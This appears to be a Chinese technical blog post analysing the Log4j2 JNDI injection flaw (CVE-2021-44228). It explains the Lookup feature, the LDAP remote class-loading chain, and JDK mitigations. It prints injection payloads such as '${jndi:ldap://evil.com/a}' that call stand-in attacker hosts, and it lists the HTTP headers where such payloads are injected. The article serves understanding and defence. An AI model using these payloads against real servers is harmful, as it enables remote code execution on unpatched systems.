Log4j2漏洞原理深度解析与实战复现：从JNDI注入到RCE攻击链

最新推荐文章于 2026-06-25 11:47:27 发布

原创

最新推荐文章于 2026-06-25 11:47:27 发布 · 409 阅读

标签

#Log4j2漏洞 #JNDI注入 #远程代码执行

1. 项目概述：为什么Log4j2漏洞值得每一个开发者警惕

去年年底，当Log4j2漏洞（CVE-2021-44228）的新闻席卷整个技术圈时，我正和团队在为一个关键系统做上线前的最后压力测试。凌晨三点，一个看似无害的日志记录触发了我们监控系统的异常告警，经过紧急排查，发现正是这个被我们广泛使用的日志框架里潜藏的“核弹级”漏洞。那一刻的紧张和后续长达一周的修复、验证、加固过程，让我深刻体会到，安全从来不是纸上谈兵，一个底层组件的漏洞足以让整个系统防线瞬间崩塌。今天，我想抛开那些铺天盖地的新闻稿和恐慌性描述，从一个一线开发和安全研究者的角度，带你亲手“引爆”一次这个漏洞，目的不是为了攻击，而是为了最深刻地理解它——只有知道炮弹如何发射，才能更好地构筑防御工事。

Log4j2是Apache基金会旗下的一款顶级Java日志框架，几乎渗透了全球超过一半的Java应用。它的漏洞之所以被称为“核弹级”，核心在于其 在记录日志时，会对日志消息中的特定格式进行动态解析和执行 。攻击者只需构造一条特殊的日志信息，就能让服务器在记录日志的过程中，去远程加载并执行恶意代码，从而实现远程命令执行（RCE）。这个过程完全在应用业务逻辑之外，防不胜防。复现这个漏洞，不仅是为了完成一个“炫技”的实验，更是为了让你直观感受现代软件供应链的脆弱性，理解漏洞利用的完整链条，从而在你的代码中建立起真正的安全直觉。无论你是开发者、运维还是安全爱好者，通过亲手搭建环境、触发漏洞、分析流量，你所获得的认知将远超阅读十篇分析报告。

2. 漏洞原理深度拆解：从日志记录到代码执行的惊险一跃

要理解Log4j2漏洞，我们必须先抛开“漏洞”这个标签，回到Log4j2一个原本设计用来提供便利的功能： Lookup功能 ，特别是 ${} 表达式的解析。这个功能的本意是让开发者能在日志配置中动态地插入变量值，比如系统属性、环境变量等，让日志输出更灵活。

2.1 JNDI与LDAP：漏洞利用的关键桥梁

问题的核心出在Lookup功能支持的一个子项： JNDI (Java Naming and Directory Interface) Lookup 。JNDI是Java提供的一个统一接口，用来访问各种命名和目录服务，比如LDAP、RMI、DNS等。Log4j2允许在 ${} 中使用 jndi: 前缀，例如 ${jndi:ldap://attacker.com/evil} 。当Log4j2解析到这样的字符串时，它的逻辑是：“哦，用户想通过JNDI从 attacker.com 这个LDAP服务器上查找一个名为 evil 的资源，然后把结果拿来用。”

在Java历史上，JNDI有一个“特性”：当它从LDAP服务器获取一个对象时，如果这个对象的 javaClassName 属性指向一个远程的Java类文件（一个 .class 文件或包含类的JAR包），并且客户端的 javaSerializationData 或 javaReferenceAddress 等属性指向这个类文件的URL，那么 Java客户端会默认尝试去这个URL下载并实例化这个类 。这个特性本意是为了实现资源的动态分发和代码共享，但在安全语境下，它成了致命的武器。

2.2 漏洞触发链条全景图

让我们把整个攻击链条串联起来，看看攻击者是如何“四两拨千斤”的：

输入注入 ：攻击者找到一个应用对外暴露的、且用户输入最终会被Log4j2记录日志的接口。这太常见了：HTTP请求头（如 User-Agent 、 X-Forwarded-For ）、请求参数、Cookie、甚至是登录的用户名。攻击者将包含 ${jndi:ldap://evil.com/a} 的payload注入到这些输入中。
日志记录 ：应用程序毫无戒备地将这个payload作为普通字符串记录到日志中。例如： logger.info(“User login from: {}”, userInput); 。
表达式解析 ：Log4j2在记录日志前，会对消息进行格式化。当它发现 ${} 结构时，便会启动Lookup解析流程。
JNDI查询 ：解析出 jndi:ldap://evil.com/a ，Log4j2便向 evil.com 的389端口（LDAP默认端口）发起一个JNDI查询请求。
恶意响应 ：攻击者控制的LDAP服务器（evil.com）收到查询后，并不返回真实数据，而是返回一个精心构造的LDAP响应。这个响应指示客户端：“你要找的对象 a ，它的类文件在 http://evil.com/Exploit.class ，你去那里下载吧。”
远程类加载与执行 ：受害的Java应用（即Log4j2所在的进程）收到这个LDAP重定向响应后，便会向 http://evil.com/Exploit.class 发起HTTP请求，下载这个恶意类文件，然后利用Java的类加载机制将其加载到JVM中，并最终实例化。 Exploit.class 的静态代码块或构造函数中的恶意代码（如 Runtime.getRuntime().exec(“calc”) 或反弹shell命令）便得以执行。

至此，一次从日志记录到远程代码执行的“惊险一跃”就完成了。整个过程，应用业务代码完全没有察觉，它只是在忠实地记录日志而已。

注意：高版本的Java（JDK 8u191, 11.0.1, 7u201, 6u211之后）默认禁用了从远程地址加载工厂类，即 com.sun.jndi.ldap.object.trustURLCodebase 默认为 false ，这在一定程度上缓解了通过LDAP直接加载远程类的问题。但漏洞利用技术也在演进，后续出现了通过其他链（如EL表达式、Groovy）进行利用的方式，且仍有大量运行在低版本JDK的系统暴露在风险中。因此， 绝不能仅依赖高版本JDK作为唯一防护手段 。